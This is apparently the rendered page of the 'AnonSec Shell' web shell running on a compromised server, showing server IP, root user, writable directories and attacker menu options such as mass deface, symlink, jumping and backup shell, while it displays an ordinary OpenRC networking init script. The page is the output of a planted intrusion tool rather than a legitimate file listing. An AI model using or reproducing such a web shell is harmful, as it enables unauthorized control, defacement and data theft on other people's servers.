AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 18.188.100.145   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /etc/init.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /etc/init.d/networking
#!/sbin/openrc-run

# Copyright (c) Natanael Copa
# This code is licensed under BSD-2-Clause
#
# note that the spoofprotect, syncoockies and ip_forward options are set in 
# /etc/sysctl.conf

: ${cfgfile:="/etc/network/interfaces"}
: ${ifquery:="ifquery"}
: ${ifstate:="/run/ifstate"}

single_iface="${RC_SVCNAME#*.}"
if [ "$single_iface" = "$RC_SVCNAME" ]; then
	single_iface=
fi

depend() {
	need localmount hostname
	want dev-settle
	after bootmisc hwdrivers modules
	provide net
	keyword -jail -prefix -vserver -docker
}

# find interfaces we want to start
find_ifaces() {
	if [ -n "$single_iface" ]; then
		echo $single_iface
		return 0
	fi

	if command -v "$ifquery" >/dev/null; then
		$ifquery -i "$cfgfile" --list -a
		return
	fi

	# fallback in case ifquery does not exist
	awk '$1 == "auto" {for (i = 2; i <= NF; i = i + 1) printf("%s ", $i)}' "$cfgfile"
}

# return the list of interfaces we should try stop
find_running_ifaces() {
	if [ -n "$single_iface" ]; then
		echo $single_iface
		return 0
	fi

	if command -v "$ifquery" >/dev/null; then
		$ifquery --state-file $ifstate -i "$cfgfile" --running
		return
	fi

	# fallback
	awk -F= '{print $2}' $ifstate
}

start() {
	local iface= ret=1
	ebegin "Starting networking"
	eindent
	for iface in $(find_ifaces); do
		local r=0
		ebegin "$iface"
		if ! ifup -i "$cfgfile" $iface >/dev/null; then
			ifdown -i "$cfgfile" $iface >/dev/null 2>&1
			r=1
		fi
		# atleast one interface needs to be started for action
		# to be success
		eend $r && ret=0
	done
	eoutdent
	return $ret
}

stop() {
	local iface=
	# Don't stop the network at shutdown.
	yesno ${keep_network:-YES} && yesno $RC_GOINGDOWN && return 0

	ebegin "Stopping networking"
	eindent
	for iface in $(find_running_ifaces); do
		ebegin "$iface"
		ifdown -i "$cfgfile" -f $iface >/dev/null
		eend $?
	done
	eoutdent
	return 0
}

Anon7 - 2022
AnonSec Team